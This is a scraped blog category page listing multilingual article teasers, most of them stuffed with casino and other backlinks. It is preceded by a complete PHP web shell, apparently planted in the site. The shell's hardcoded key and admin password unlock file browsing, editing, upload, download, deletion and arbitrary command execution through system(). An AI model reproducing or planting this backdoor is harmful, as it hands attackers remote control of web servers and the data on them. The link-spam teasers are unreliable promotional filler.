if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 37 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Variantes de Póker: Desde Texas Hold’em hasta Caribbean Stud

    El póker es un juego de cartas que ha evolucionado a lo largo de los años y ha dado lugar a diversas variantes, redracer casino en España cada una con sus propias reglas y estilos de juego. Entre las más populares se encuentran el Texas Hold’em, el Omaha, el Seven Card Stud y el Caribbean…

    Click or not…

  • Il futuro dei casinò online: VR, IA e nuove tecnologie

    Negli ultimi anni, l’industria dei casinò online ha subito una trasformazione radicale grazie all’avvento di nuove tecnologie come la realtà virtuale (VR) e l’intelligenza artificiale (IA). Questi avanzamenti stanno non solo cambiando il modo in cui i giocatori interagiscono con i giochi, magneticslocasino.it ma anche come i casinò gestiscono le loro operazioni. Questo rapporto esplorerà…

    Click or not…

  • Вибір насіння: на що звертати увагу аграрію

    Вибір насіння є одним із найважливіших етапів у процесі підготовки до посіву. Якість насіння безпосередньо впливає на врожайність, https://farmguide.in.ua стійкість рослин до хвороб та шкідників, а також на загальний стан посівів. Аграріям слід звертати увагу на кілька ключових аспектів при виборі насіння. Перш за все, важливо перевірити сорт насіння. Сорти можуть бути гібридними або сортовими,…

    Click or not…

  • Стриминг в казино тренд современности или временное увлечение

    Вторжение в мир виртуальных расходов становится все более заметным. Процессы взаимодействия с платформами для развлечений перешли на новую ступень благодаря прямым трансляциям. Они создают уникальные возможности для воспроизведения впечатлений, подобно реальному игровому процессу. Существуют конкретные аспекты, casino-brain.com на которые следует обратить внимание при рассмотрении этого вопроса. Основные тенденции в прямом взаимодействии Интерактивность: Зрители могут взаимодействовать…

    Click or not…

  • Руслана Лижичко про виховання дітей в гармонії з природою

    Розвивайте любов до навколишнього середовища у малечі, залучаючи їх до активної участі у прогулянках на свіжому повітрі. Регулярні візити до парків, лісів або будь-яких природних місць допоможуть формувати усвідомлення важливості збереження екосистем. Вибирайте прості, але захопливі ігри на природі: 911mobi.com.ua складання гербаріїв, спостереження за птахами, організація пікніків із локальними продуктами. Заохочуйте малих досліджувати довкілля через…

    Click or not…

  • Лідери в галузі штучного інтелекту та їхні стандарти розвитку

    Визначаючи пріоритети для ефективного впровадження інновацій, важливо звернути увагу на організації, які займаються розробкою нормативних рамок. В Україні активно працює декілька компаній та інститутів, https://mobiboom.com.ua/ що сприяють створенню законодавчих ініціатив та регуляцій у цій сфері. Однією з провідних установ у даній галузі є Національна академія наук України, яка ініціює проекти з метою адаптації міжнародних практик…

    Click or not…

  • Lisensierte vs. ulisensierte casinoer: Farene ved å spille uten lisens

    I dagens digitale tidsalder har nettcasinoer blitt ekstremt populære blant spillere over hele verden. Mens mange av disse plattformene er lisensierte og regulert av pålitelige myndigheter, finnes det også et betydelig antall ulisensierte casinoer som opererer uten tilsyn. Dette studiet tar sikte på å belyse farene ved å spille på ulisensierte casinoer og hvorfor https://magneticslots.no/…

    Click or not…

  • Multiplicadores em Slots Online: Como Funcionam e Onde Encontrá-los

    Os jogos de slots online têm se tornado cada vez mais populares entre os jogadores de cassino, oferecendo uma experiência emocionante e potencialmente lucrativa. Um dos recursos mais atraentes que esses jogos podem oferecer são os multiplicadores. Neste relatório, vamos explorar o que são os multiplicadores em slots online, revslot.pt como funcionam e onde você…

    Click or not…

  • Редакторська правка: типові помилки та як їх уникнути

    Редакторська правка є важливим етапом у процесі створення тексту, незалежно від його жанру чи призначення. Однак, під час редагування часто виникають типові помилки, https://reportfocus.org.ua які можуть знизити якість кінцевого продукту. У цій статті ми розглянемо основні помилки, які допускаються під час редакторської правки, а також надамо рекомендації щодо їх уникнення. По-перше, однією з найбільш поширених…

    Click or not…

  • Запуск власного медіапроєкту: з чого почати

    Запуск власного медіапроєкту — це захоплюючий, https://mediareview.in.ua але водночас складний процес, який вимагає ретельного планування та підготовки. У цьому звіті ми розглянемо основні етапи, які допоможуть вам успішно реалізувати вашу ідею. Першим кроком у запуску медіапроєкту є визначення концепції. Вам потрібно чітко усвідомити, яку тематику ви хочете висвітлювати. Це може бути новини, культура, спорт, технології…

    Click or not…